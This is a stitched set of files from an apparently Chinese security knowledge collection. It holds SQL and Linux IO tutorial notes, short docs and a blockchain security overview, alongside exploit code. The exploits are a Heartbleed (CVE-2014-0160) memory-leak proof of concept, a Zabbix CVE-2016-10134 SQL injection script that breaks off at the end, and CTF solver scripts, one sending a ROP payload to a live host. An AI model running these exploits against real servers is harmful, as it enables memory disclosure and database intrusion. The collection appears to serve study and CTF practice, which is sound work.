语句不区分大小写,但是数据库表名、列名和值是否区分依赖于具体的 DBMS 以及配置。 SQL 支持以下三种注释: ```sql # 注释 SELECT * FROM mytable; -- 注释 /* 注释1 注释2 */ ``` 数据库创建与使用: ```sql CREATE DATABASE test; USE test; ``` # 二、创建表 ```sql CREATE TABLE mytable ( # int 类型,不为空,自增 id INT NOT NULL AUTO_INCREMENT, # int 类型,不可为空,默认值为 1,不为空 col1 INT NOT NULL DEFAULT 1, # 变长字符串类型,最长为 45 个字符,可以为空 col2 VARCHAR(45) NULL, # 日期类型,可为空 col3 DATE NULL, # 设置主键为 id PRIMARY KEY (`id`)); ``` # 三、修改表 添加列 ```sql ALTER TABLE mytable ADD col CHAR(20); ``` 删除列 ```sql ALTER TABLE mytable DROP COLUMN col; ``` 删除表 ```sql DROP TABLE mytable; ``` # 四、插入 普通插入 ```sql INSERT INTO mytable(col1, col2) VALUES(val1, val2); ``` 插入检索出来的数据 ```sql INSERT INTO mytable1(col1, col2) SELECT col1, col2 FROM mytable2; ``` 将一个表的内容插入到一个新表 ```sql CREATE TABLE newtable AS SELECT * FROM mytable; ``` # 五、更新 ```sql UPDATE mytable SET col = val WHERE id = 1; ``` # 六、删除 ```sql DELETE FROM mytable WHERE id = 1; ``` **TRUNCATE TABLE** 可以清空表,也就是删除所有行。 ```sql TRUNCATE TABLE mytable; ``` 使用更新和删除操作时一定要用 WHERE 子句,不然会把整张表的数据都破坏。可以先用 SELECT 语句进行测试,防止错误删除。 # 七、查询 ## DISTINCT 相同值只会出现一次。它作用于所有列,也就是说所有列的值都相同才算相同。 ```sql SELECT DISTINCT col1, col2 FROM mytable; ``` ## LIMIT 限制返回的行数。可以有两个参数,第一个参数为起始行,从 0 开始;第二个参数为返回的总行数。 返回前 5 行: ```sql SELECT * FROM mytable LIMIT 5; ``` ```sql SELECT * FROM mytable LIMIT 0, 5; ``` 返回第 3 \~ 5 行: ```sql SELECT * FROM mytable LIMIT 2, 3; ``` # 八、排序 - **ASC** :升序(默认) - **DESC** :降序 可以按多个列进行排序,并且为每个列指定不同的排序方式: ```sql SELECT * FROM mytable ORDER BY col1 DESC, col2 ASC; ``` # 九、过滤 不进行过滤的数据非常大,导致通过网络传输了多余的数据,从而浪费了网络带宽。因此尽量使用 SQL 语句来过滤不必要的数据,而不是传输所有的数据到客户端中然后由客户端进行过滤。 ```sql SELECT * FROM mytable WHERE col IS NULL; ``` 下表显示了 WHERE 子句可用的操作符 | 操作符 | 说明 | | :---: | :---: | | = | 等于 | | &lt; | 小于 | | &gt; | 大于 | | &lt;&gt; != | 不等于 | | &lt;= !&gt; | 小于等于 | | &gt;= !&lt; | 大于等于 | | BETWEEN | 在两个值之间 | | IS NULL | 为 NULL 值 | 应该注意到,NULL 与 0、空字符串都不同。 **AND 和 OR** 用于连接多个过滤条件。优先处理 AND,当一个过滤表达式涉及到多个 AND 和 OR 时,可以使用 () 来决定优先级,使得优先级关系更清晰。 **IN** 操作符用于匹配一组值,其后也可以接一个 SELECT 子句,从而匹配子查询得到的一组值。 **NOT** 操作符用于否定一个条件。 # 十、通配符 通配符也是用在过滤语句中,但它只能用于文本字段。 - **%** 匹配 \>=0 个任意字符; - **\_** 匹配 ==1 个任意字符; - **[ ]** 可以匹配集合内的字符,例如 [ab] 将匹配字符 a 或者 b。用脱字符 ^ 可以对其进行否定,也就是不匹配集合内的字符。 使用 Like 来进行通配符匹配。 ```sql SELECT * FROM mytable WHERE col LIKE '[^AB]%'; -- 不以 A 和 B 开头的任意文本 ``` 不要滥用通配符,通配符位于开头处匹配会非常慢。 # 十一、计算字段 在数据库服务器上完成数据的转换和格式化的工作往往比客户端上快得多,并且转换和格式化后的数据量更少的话可以减少网络通信量。 计算字段通常需要使用 **AS** 来取别名,否则输出的时候字段名为计算表达式。 ```sql SELECT col1 * col2 AS alias FROM mytable; ``` **CONCAT()** 用于连接两个字段。许多数据库会使用空格把一个值填充为列宽,因此连接的结果会出现一些不必要的空格,使用 **TRIM()** 可以去除首尾空格。 ```sql SELECT CONCAT(TRIM(col1), '(', TRIM(col2), ')') AS concat_col FROM mytable; ``` # 十二、函数 各个 DBMS 的函数都是不相同的,因此不可移植,以下主要是 MySQL 的函数。 ## 汇总 |函 数 |说 明| | :---: | :---: | | AVG() | 返回某列的平均值 | | COUNT() | 返回某列的行数 | | MAX() | 返回某列的最大值 | | MIN() | 返回某列的最小值 | | SUM() |返回某列值之和 | AVG() 会忽略 NULL 行。 使用 DISTINCT 可以汇总不同的值。 ```sql SELECT AVG(DISTINCT col1) AS avg_col FROM mytable; ``` ## 文本处理 | 函数 | 说明 | | :---: | :---: | | LEFT() | 左边的字符 | | RIGHT() | 右边的字符 | | LOWER() | 转换为小写字符 | | UPPER() | 转换为大写字符 | | LTRIM() | 去除左边的空格 | | RTRIM() | 去除右边的空格 | | LENGTH() | 长度 | | SOUNDEX() | 转换为语音值 | 其中, **SOUNDEX()** 可以将一个字符串转换为描述其语音表示的字母数字模式。 ```sql SELECT * FROM mytable WHERE SOUNDEX(col1) = SOUNDEX('apple') ``` ## 日期和时间处理 - 日期格式:YYYY-MM-DD - 时间格式:HH:\<zero-width space\>MM:SS |函 数 | 说 明| | :---: | :---: | | ADDDATE() | 增加一个日期(天、周等)| | ADDTIME() | 增加一个时间(时、分等)| | CURDATE() | 返回当前日期 | | CURTIME() | 返回当前时间 | | DATE() |返回日期时间的日期部分| | DATEDIFF() |计算两个日期之差| | DATE_ADD() |高度灵活的日期运算函数| | DATE_FORMAT() |返回一个格式化的日期或时间串| | DAY()| 返回一个日期的天数部分| | DAYOFWEEK() |对于一个日期,返回对应的星期几| | HOUR() |返回一个时间的小时部分| | MINUTE() |返回一个时间的分钟部分| | MONTH() |返回一个日期的月份部分| | NOW() |返回当前日期和时间| | SECOND() |返回一个时间的秒部分| | TIME() |返回一个日期时间的时间部分| | YEAR() |返回一个日期的年份部分| ```sql mysql> SELECT NOW(); ``` ``` 2018-4-14 20:25:11 ``` ## 数值处理 | 函数 | 说明 | | :---: | :---: | | SIN() | 正弦 | | COS() | 余弦 | | TAN() | 正切 | | ABS() | 绝对值 | | SQRT() | 平方根 | | MOD() | 余数 | | EXP() | 指数 | | PI() | 圆周率 | | RAND() | 随机数 | # 十三、分组 把具有相同的数据值的行放在同一组中。 可以对同一分组数据使用汇总函数进行处理,例如求分组数据的平均值等。 指定的分组字段除了能按该字段进行分组,也会自动按该字段进行排序。 ```sql SELECT col, COUNT(*) AS num FROM mytable GROUP BY col; ``` GROUP BY 自动按分组字段进行排序,ORDER BY 也可以按汇总字段来进行排序。 ```sql SELECT col, COUNT(*) AS num FROM mytable GROUP BY col ORDER BY num; ``` WHERE 过滤行,HAVING 过滤分组,行过滤应当先于分组过滤。 ```sql SELECT col, COUNT(*) AS num FROM mytable WHERE col > 2 GROUP BY col HAVING num >= 2; ``` 分组规定: - GROUP BY 子句出现在 WHERE 子句之后,ORDER BY 子句之前; - 除了汇总字段外,SELECT 语句中的每一字段都必须在 GROUP BY 子句中给出; - NULL 的行会单独分为一组; - 大多数 SQL 实现不支持 GROUP BY 列具有可变长度的数据类型。 # 十四、子查询 子查询中只能返回一个字段的数据。 可以将子查询的结果作为 WHRER 语句的过滤条件: ```sql SELECT * FROM mytable1 WHERE col1 IN (SELECT col2 FROM mytable2); ``` 下面的语句可以检索出客户的订单数量,子查询语句会对第一个查询检索出的每个客户执行一次: ```sql SELECT cust_name, (SELECT COUNT(*) FROM Orders WHERE Orders.cust_id = Customers.cust_id) AS orders_num FROM Customers ORDER BY cust_name; ``` # 十五、连接 连接用于连接多个表,使用 JOIN 关键字,并且条件语句使用 ON 而不是 WHERE。 连接可以替换子查询,并且比子查询的效率一般会更快。 可以用 AS 给列名、计算字段和表名取别名,给表名取别名是为了简化 SQL 语句以及连接相同表。 ## 内连接 内连接又称等值连接,使用 INNER JOIN 关键字。 ```sql SELECT A.value, B.value FROM tablea AS A INNER JOIN tableb AS B ON A.key = B.key; ``` 可以不明确使用 INNER JOIN,而使用普通查询并在 WHERE 中将两个表中要连接的列用等值方法连接起来。 ```sql SELECT A.value, B.value FROM tablea AS A, tableb AS B WHERE A.key = B.key; ``` ## 自连接 自连接可以看成内连接的一种,只是连接的表是自身而已。 一张员工表,包含员工姓名和员工所属部门,要找出与 Jim 处在同一部门的所有员工姓名。 子查询版本 ```sql SELECT name FROM employee WHERE department = ( SELECT department FROM employee WHERE name = "Jim"); ``` 自连接版本 ```sql SELECT e1.name FROM employee AS e1 INNER JOIN employee AS e2 ON e1.department = e2.department AND e2.name = "Jim"; ``` ## 自然连接 自然连接是把同名列通过等值测试连接起来的,同名列可以有多个。 内连接和自然连接的区别:内连接提供连接的列,而自然连接自动连接所有同名列。 ```sql SELECT A.value, B.value FROM tablea AS A NATURAL JOIN tableb AS B; ``` ## 外连接 外连接保留了没有关联的那些行。分为左外连接,右外连接以及全外连接,左外连接就是保留左表没有关联的行。 检索所有顾客的订单信息,包括还没有订单信息的顾客。 ```sql SELECT Customers.cust_id, Customer.cust_name, Orders.order_id FROM Customers LEFT OUTER JOIN Orders ON Customers.cust_id = Orders.cust_id; ``` customers 表: | cust_id | cust_name | | :---: | :---: | | 1 | a | | 2 | b | | 3 | c | orders 表: | order_id | cust_id | | :---: | :---: | |1 | 1 | |2 | 1 | |3 | 3 | |4 | 3 | 结果: | cust_id | cust_name | order_id | | :---: | :---: | :---: | | 1 | a | 1 | | 1 | a | 2 | | 3 | c | 3 | | 3 | c | 4 | | 2 | b | Null | # 十六、组合查询 使用 **UNION** 来组合两个查询,如果第一个查询返回 M 行,第二个查询返回 N 行,那么组合查询的结果一般为 M+N 行。 每个查询必须包含相同的列、表达式和聚集函数。 默认会去除相同行,如果需要保留相同行,使用 UNION ALL。 只能包含一个 ORDER BY 子句,并且必须位于语句的最后。 ```sql SELECT col FROM mytable WHERE col = 1 UNION SELECT col FROM mytable WHERE col =2; ``` # 十七、视图 视图是虚拟的表,本身不包含数据,也就不能对其进行索引操作。 对视图的操作和对普通表的操作一样。 视图具有如下好处: - 简化复杂的 SQL 操作,比如复杂的连接; - 只使用实际表的一部分数据; - 通过只给用户访问视图的权限,保证数据的安全性; - 更改数据格式和表示。 ```sql CREATE VIEW myview AS SELECT Concat(col1, col2) AS concat_col, col3*col4 AS compute_col FROM mytable WHERE col5 = val; ``` # 十八、存储过程 存储过程可以看成是对一系列 SQL 操作的批处理。 使用存储过程的好处: - 代码封装,保证了一定的安全性; - 代码复用; - 由于是预先编译,因此具有很高的性能。 命令行中创建存储过程需要自定义分隔符,因为命令行是以 ; 为结束符,而存储过程中也包含了分号,因此会错误把这部分分号当成是结束符,造成语法错误。 包含 in、out 和 inout 三种参数。 给变量赋值都需要用 select into 语句。 每次只能给一个变量赋值,不支持集合的操作。 ```sql delimiter // create procedure myprocedure( out ret int ) begin declare y int; select sum(col1) from mytable into y; select y*y into ret; end // delimiter ; ``` ```sql call myprocedure(@ret); select @ret; ``` # 十九、游标 在存储过程中使用游标可以对一个结果集进行移动遍历。 游标主要用于交互式应用,其中用户需要对数据集中的任意行进行浏览和修改。 使用游标的四个步骤: 1. 声明游标,这个过程没有实际检索出数据; 2. 打开游标; 3. 取出数据; 4. 关闭游标; ```sql delimiter // create procedure myprocedure(out ret int) begin declare done boolean default 0; declare mycursor cursor for select col1 from mytable; # 定义了一个 continue handler,当 sqlstate '02000' 这个条件出现时,会执行 set done = 1 declare continue handler for sqlstate '02000' set done = 1; open mycursor; repeat fetch mycursor into ret; select ret; until done end repeat; close mycursor; end // delimiter ; ``` # 二十、触发器 触发器会在某个表执行以下语句时而自动执行:DELETE、INSERT、UPDATE。 触发器必须指定在语句执行之前还是之后自动执行,之前执行使用 BEFORE 关键字,之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化,AFTER 用于审计跟踪,将修改记录到另外一张表中。 INSERT 触发器包含一个名为 NEW 的虚拟表。 ```sql CREATE TRIGGER mytrigger AFTER INSERT ON mytable FOR EACH ROW SELECT NEW.col into @result; SELECT @result; -- 获取结果 ``` DELETE 触发器包含一个名为 OLD 的虚拟表,并且是只读的。 UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表,其中 NEW 是可以被修改的,而 OLD 是只读的。 MySQL 不允许在触发器中使用 CALL 语句,也就是不能调用存储过程。 # 二十一、事务管理 基本术语: - 事务(transaction)指一组 SQL 语句; - 回退(rollback)指撤销指定 SQL 语句的过程; - 提交(commit)指将未存储的 SQL 语句结果写入数据库表; - 保留点(savepoint)指事务处理中设置的临时占位符(placeholder),你可以对它发布回退(与回退整个事务处理不同)。 不能回退 SELECT 语句,回退 SELECT 语句也没意义;也不能回退 CREATE 和 DROP 语句。 MySQL 的事务提交默认是隐式提交,每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时,会关闭隐式提交;当 COMMIT 或 ROLLBACK 语句执行后,事务会自动关闭,重新恢复隐式提交。 设置 autocommit 为 0 可以取消自动提交;autocommit 标记是针对每个连接而不是针对服务器的。 如果没有设置保留点,ROLLBACK 会回退到 START TRANSACTION 语句处;如果设置了保留点,并且在 ROLLBACK 中指定该保留点,则会回退到该保留点。 ```sql START TRANSACTION // ... SAVEPOINT delete1 // ... ROLLBACK TO delete1 // ... COMMIT ``` # 二十二、字符集 基本术语: - 字符集为字母和符号的集合; - 编码为某个字符集成员的内部表示; - 校对字符指定如何比较,主要用于排序和分组。 除了给表指定字符集和校对外,也可以给列指定: ```sql CREATE TABLE mytable (col VARCHAR(10) CHARACTER SET latin COLLATE latin1_general_ci ) DEFAULT CHARACTER SET hebrew COLLATE hebrew_general_ci; ``` 可以在排序、分组时指定校对: ```sql SELECT * FROM mytable ORDER BY col COLLATE latin1_general_ci; ``` # 二十三、权限管理 MySQL 的账户信息保存在 mysql 这个数据库中。 ```sql USE mysql; SELECT user FROM user; ``` **创建账户** 新创建的账户没有任何权限。 ```sql CREATE USER myuser IDENTIFIED BY 'mypassword'; ``` **修改账户名** ```sql RENAME USER myuser TO newuser; ``` **删除账户** ```sql DROP USER myuser; ``` **查看权限** ```sql SHOW GRANTS FOR myuser; ``` **授予权限** 账户用 username@host 的形式定义,username@% 使用的是默认主机名。 ```sql GRANT SELECT, INSERT ON mydatabase.* TO myuser; ``` **删除权限** GRANT 和 REVOKE 可在几个层次上控制访问权限: - 整个服务器,使用 GRANT ALL 和 REVOKE ALL; - 整个数据库,使用 ON database.\*; - 特定的表,使用 ON database.table; - 特定的列; - 特定的存储过程。 ```sql REVOKE SELECT, INSERT ON mydatabase.* FROM myuser; ``` **更改密码** 必须使用 Password() 函数进行加密。 ```sql SET PASSWROD FOR myuser = Password('new_password'); ``` # 参考资料 - BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
sec-knowleage
# IO模型 > 注 : 笔记中拓扑图 drawio 源文件在其图片目录下 --- IO 其实就是 Input 和 Output,在操作系统中就对应数据流的输入与输出。这个数据流的两端,可以是文件,也可以是网络的一台主机。但无论是文件,还是网络主机,其传输都是类似的,我们今天就以源头为文件进行说明。 一个文件要从磁盘到我们的内存,需要经过很复杂的操作。首先,需要将数据从硬件读取出来,然后放入操作系统内核缓冲区,之后再将数据拷贝到程序缓冲区,最后应用程序才能读取到这个文件。简单地说,无论什么 IO 模型,其读取过程总会经历下面两个阶段: * 等待数据到达内核缓冲区 * 从内核缓冲区拷贝数据到程序缓冲区 Linux 根据这两个阶段的是否阻塞,分成了 5 个经典的 IO 的模型 * 阻塞 IO 模型:硬件到系统内核,阻塞。系统内核到程序空间,阻塞。 * 非阻塞 IO 模型:硬件到系统内核,轮询阻塞。系统内核到程序空间,阻塞。 * 复用 IO 模型:硬件到系统内核,多流轮询阻塞。系统内核到程序空间,阻塞。 * 信号驱动 IO 模型:硬件到系统内核,信号回调不阻塞。系统内核到程序空间,阻塞。 * 异步 IO 模型:硬件到系统内核,信号回调不阻塞。系统内核到程序空间,信号回调不阻塞。 --- ## 阻塞 IO 模型 阻塞 IO 称为 Blocking IO,简称 BIO。在阻塞 IO 模型中,当进程发起一个读取文件请求(recvfrom 系统调用)时,如果内核缓存区没有对应的数据,那么它不会立刻恢复,而是去读取磁盘数据,当数据读取完毕后,再返回给进程。此时,第一个阶段完成。在这个阶段进程是阻塞的,因为它要等待内核将数据读取到内核缓冲区。 而当进程收到内核的响应之后,进程再把数据从内核缓冲区复制到程序缓冲区,最后完成文件读取操作。此时,第二个阶段完成。在这个阶段进程也是阻塞的,因为它要将数据从内核缓冲区拷贝到程序缓冲区。 在阻塞 IO 模型里,从硬件到系统内核、从系统内核到程序空间,都是阻塞的。 --- ## 非阻塞 IO 模型 在非阻塞 IO 模型下,当一个请求发起读取文件请求(recvfrom)时,如果内核缓冲区没有数据,那么内核会读取文件数据。但此时请求并不会阻塞,而是返回一个错误信息(EWOULDBLOCK)告诉进程:数据暂时还没准备好,你待会儿再试试。 于是进程就不断地向内核重试,问:数据准备好了没有,数据准备好了没有……当内核准备好数据,进程就会收到对应消息,于是第一阶段就结束了。非阻塞 IO 中的非阻塞说的就是进程不会阻塞在这里,而是会不断重试。 虽然说这样并没有太大用处,反而会使得 CPU 空转,但总比之前有了一点进步。在这个阶段进程并不是阻塞的。当进程得知内核准备好数据之后,其便会将数据从内核缓冲区拷贝到程序缓冲区。这个阶段与阻塞 I/O 模型是完全一样的,同样是会导致进程阻塞。 在非阻塞 IO 模型里,从硬件到系统内核、从系统内核到程序空间,同样都是阻塞的。但是其比阻塞 IO 争气了一点,并不是站在那里不动,好歹还跑了一下。虽然是在做无用功,但是好歹提高了一丢丢效率。 --- ## IO 复用模型 IO 复用之所以叫复用,是因为其能同时操作多个数据流。而前面的 阻塞 IO、非阻塞 IO 同一时间只能操作一个数据流。在 IO 复用模型中,进程监听多个数据流并阻塞,当任何一个数据流有数据之后,其便会收到内核的响应。此时,第一个阶段完成,在这个阶段进程其实是阻塞的。 而当收到内核的响应后,进程便会将数据从内核缓冲区复制到程序缓冲区。这个阶段与上面两个模型一模一样,进程同样阻塞。 IO 复用模型在第二阶段与阻塞 IO 和非阻塞 IO 是完全一致的。但是在第一阶段上,其有效率上的巨大提升,其能同时轮询多个数据流,提高了效率。 --- ## 信号驱动 IO 模型 信号驱动与前面几个模型的不同之处就在与信号这个词。信号驱动 IO 在第一阶段,即数据到达内核缓冲区之前,进程是不阻塞的,而是设置一个信号回调。当数据到达内核缓冲区之后,内核调用程序的回调。通过这种方式,信号驱动 IO 下的进程就可以不阻塞,可以去做其他事情了。 而当进程收到信号,进程再将数据从内核缓冲区复制到程序缓冲区。这个过程与上面几个是完全一样的,同样也是阻塞的。 信号驱动 IO 可以说是 IO 读取的一个里程碑,其真正实现了异步读取数据。信号驱动 IO 其二个阶段,与上面几个是一样的。但是其在第一个阶段做到了真正的异步。信号驱动 IO 在第一阶段,其去请求内核读取数据,这时候其不会阻塞,也不会去寻轮,而是设置一个信号回调。 当数据完全拷贝到系统内核时,系统发出 SIGIO 信号,通知进程去进行第二阶段,将数据拷贝到程序缓冲区。 --- ## 异步 IO 模型 异步 IO 相比前面几个流程,真正做到了完全非阻塞。无论是在第一阶段,还是在第二阶段都是非阻塞。与信号驱动 IO 类似,异步 IO 模型通过信号回调的方式,在第一个阶段实现了进程的非阻塞。而当数据到达内核缓冲区之后,进程便会收到通知。 而当进程收到通知之后,进程再次将数据从内核缓冲区复制到进程缓冲区,但这时进程并不等待,而是同样设置一个信号回调。当复制完成后,进程收到通知,再进行相应的处理。 异步 IO 与信号驱动 IO 相比,做得更加彻底了! 异步 IO 不仅仅是在第一阶段实现了信号回调,其也在第二阶段实现了信号回调,从而完全实现了异步 IO 操作。 --- ## Source & Reference * https://shuyi.tech/archives/head-first-of-linux-io-model * https://cloud.tencent.com/developer/article/1684951
sec-knowleage
[Leetcode 题解](https://github.com/CyC2018/CS-Notes/blob/master/notes/Leetcode%20%E9%A2%98%E8%A7%A3%20-%20%E7%9B%AE%E5%BD%95.md)
sec-knowleage
### Blockchain Security Overview > 区块链安全近几年发展比较迅速,但是 wiki 上没有相关内容,遂拉了几个小伙伴,一起撰写了区块链安全相关内容,可能某些用词不是很准确,还请见谅,也可以提问 issue,会及时更改 概述区块链安全的一些方向,主要分为 **公链安全** 和 **智能合约** 安全
sec-knowleage
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import binascii import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return binascii.unhexlify(x.replace(' ', '').replace('\n', '')) hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s: bytes): for b in range(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % c for c in lin) pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin) print(' %04x: %-48s %s' % (b, hxdat, pdat)) print("") def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = b'' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print('Unexpected EOF receiving record header - server closed connection') return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print('Unexpected EOF receiving record payload - server closed connection') return None, None, None print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print('No heartbeat response received, server likely not vulnerable') return False if typ == 24: print('Received heartbeat response:') hexdump(pay) if len(pay) > 3: print('WARNING: server returned more data than it should - server is vulnerable!') else: print('Server processed malformed heartbeat, but did not return any extra data.') return True if typ == 21: print('Received alert:') hexdump(pay) print('Server returned error, likely not vulnerable') return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('Connecting...') sys.stdout.flush() s.connect((args[0], opts.port)) print('Sending Client Hello...') sys.stdout.flush() s.send(hello) print('Waiting for Server Hello...') sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print('Server closed connection without sending Server Hello.') return # Look for server hello done message. if typ == 22 and pay[0] == 0x0E: break print('Sending heartbeat request...') sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()
sec-knowleage
<?php include 'common.php'; if(empty($_POST['imagekey'])) { header('Location: ?op=home'); exit(); } $imagekey = $_POST['imagekey']; $im = load_image($imagekey); $w = imagesx($im); $h = imagesy($im); if($w > MAX_IM_SIZE || $h > MAX_IM_SIZE) fatal("Invalid image dimensions."); $nc = imagecolorstotal($im); if($nc == 0 || $nc > 256) fatal("Invalid palette size."); $data = json_decode($_POST['savedata'], true); if($data === null) fatal("Invalid JSON data."); if(!is_array($data['pal']) || !is_array($data['im'])) fatal("Bad data."); $newpal = $data['pal']; $newim = $data['im']; if(count($newpal) > 256 || count($newim) != ($w * $h)) fatal("Bad data."); for($i=0; $i<count($newpal); $i++) { list($cr, $cg, $cb) = sscanf($newpal[$i], "#%2x%2x%2x"); if($i < $nc) { imagecolorset($im, $i, $cr, $cg, $cb); } else { imagecolorallocate($im, $cr, $cg, $cb); } } $i = 0; for($y=0; $y<$h; $y++) { for($x=0; $x<$w; $x++) { imagesetpixel($im, $x, $y, $newim[$i]); $i++; } } save_image($im, $imagekey); header("Location: ?op=edit&imagekey=$imagekey"); ?>
sec-knowleage
import hashlib import itertools import re import sys from crypto_commons.netcat.netcat_commons import nc, receive_until_match, send, interactive def pow(suffix, data): if 'sha1' in data: func = hashlib.sha1 elif 'sha224' in data: func = hashlib.sha224 elif 'sha256' in data: func = hashlib.sha256 elif 'sha384' in data: func = hashlib.sha384 elif 'sha512' in data: func = hashlib.sha512 elif 'md5' in data: func = hashlib.md5 else: return "dupa" i = 0 while True: payload = str(i) result = func(payload).hexdigest()[-6:] if result == suffix: return payload i += 1 def combine(perm, op, parenthesis1, parenthesis2): result = "" for i in range(len(op)): if parenthesis1 == i and parenthesis1 != parenthesis2: result += "(" + str(perm[i]) + str(op[i]) elif parenthesis2 == i and parenthesis1 != parenthesis2: result += str(perm[i]) + ")" + str(op[i]) else: result += str(perm[i]) + str(op[i]) result = result + str(perm[-1]) if parenthesis2 == len(perm) - 1: result += ")" result = result.replace("$", "") return result def calculate(number, i): ops = '$%&*+-/<>^|~' for perm in itertools.permutations(list(number)): for parenthesis1 in range(len(perm) - 1): for parenthesis2 in range(parenthesis1, len(perm) - 1): for op in itertools.product(list(ops), repeat=len(perm) - 1): equation = combine(perm, op, parenthesis1, parenthesis2) try: if eval(equation) == i: return equation except: pass print("No configuration found for " + str(number) + " " + str(i)) sys.exit(0) def main(): host = "37.139.4.247" port = 19153 s = nc(host, port) data = receive_until_match(s, "= .*\n") print(data) suffix = data[-7:-1] print(suffix) response = pow(suffix, data) print('pow', response) send(s, response) print(receive_until_match(s, "solve")) send(s, 'C') data = receive_until_match(s, "n = \d+\n") print(data) number = re.findall("n = (\d+)", data)[0] for i in range(101): data = receive_until_match(s, "equal to " + str(i)) print(data) response = calculate(number, i) print(i, response) send(s, response) interactive(s) main()
sec-knowleage
false === 返回状态为失败。 ## 概要 ```shell false ``` ## 主要用途 - 用于和其他命令进行逻辑运算。 ## 返回值 返回状态总是失败;返回值为1。 ### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
sec-knowleage
from pwn import * r = remote('110.10.212.139', 50410) print r.recv() r.send('$W337k!++y\n') print r.recv() print r.recv() r.send('3\n') print r.recv() import struct ra = struct.pack('<Q', 0x14000) gadget = struct.pack('<Q', 0x014036) shell = struct.pack('<Q', 0x14029) cat = gadget + shell + ra print cat.encode('hex') r.send(cat) r.interactive()
sec-knowleage
--- title: 安装 CF --- ## 安装 CF ### HomeBrew 安装(使用于 Mac、Linux 用户) ```bash brew tap teamssix/tap brew install teamssix/tap/cf ``` ### 下载二进制包 直接在 CF 下载地址:[github.com/teamssix/cf/releases](https://github.com/teamssix/cf/releases) 中下载系统对应的二进制文件,在命令行中运行即可,目前支持以下系统: | 文件名 | 系统 | 架构 | 位数 | | :--------------------------: | :-----: | :--------------------------------: | :--: | | cf_x.x.x_darwin_amd64.tar.gz | MacOS | AMD(适用于 Intel 芯片的 Mac) | 64 | | cf_x.x.x_darwin_arm64.tar.gz | MacOS | ARM(适用于苹果 M 系列芯片的 Mac) | 64 | | cf_x.x.x_linux_386.tar.gz | Linux | AMD | 32 | | cf_x.x.x_linux_amd64.tar.gz | Linux | AMD | 64 | | cf_x.x.x_linux_arm64.tar.gz | Linux | ARM | 64 | | cf_x.x.x_windows_386.zip | Windows | AMD | 32 | | cf_x.x.x_windows_amd64.zip | Windows | AMD | 64 | | cf_x.x.x_windows_arm64.zip | Windows | ARM | 64 | <Vssue/> <script> export default { mounted () { this.$page.lastUpdated = "2023 年 7 月 1 日" } } </script>
sec-knowleage
# -*- coding: utf-8 -*- # @Time : 2021/12/23 # @Author : TesterCC import json from optparse import OptionParser import re import sys from requests import session # initialization ret = dict() ret['status'] = str() ret['info'] = list() ss = session() ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'} # CVE-2016-10134 # python3 CVE-2016-10134.py --target 127.0.0.1:8080 def get_payload1(text) -> str: payload = re.search(r"\[(.*\))\]", text) return payload.group(1) def get_sql_injection_info(text) -> str: sql_injection_info = re.search(r"<\/li><li>(.*)\'\]", text) return sql_injection_info.group(1) def attack(target): '''login zabbix''' login_url = "http://{}/index.php".format(target) ret0 = ss.get(login_url) cookie_dict = {i.name: i.value for i in ret0.cookies} # get sid sid = cookie_dict.get('zbx_sessionid')[16:] data = {"sid": sid, "form_refresh": "1", "name": "", "password": "", "enter": "Sign+in"} retn = ss.post(url=login_url, headers=ss.headers, data=data) if retn.status_code == 200: # updatexml(0,concat(0xa,database()),0) # updatexml(0,concat(0xa,version()),0) payload1 = f"http://{target}/latest.php?output=ajax&sid={sid}&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)" retn2 = ss.get(url=payload1, headers=ss.headers) if retn2.status_code == 200: resp = { "payload": get_payload1(retn2.text), "info": get_sql_injection_info(retn2.text) } ret['status'] = 'success' ret['info'] = resp return ret def 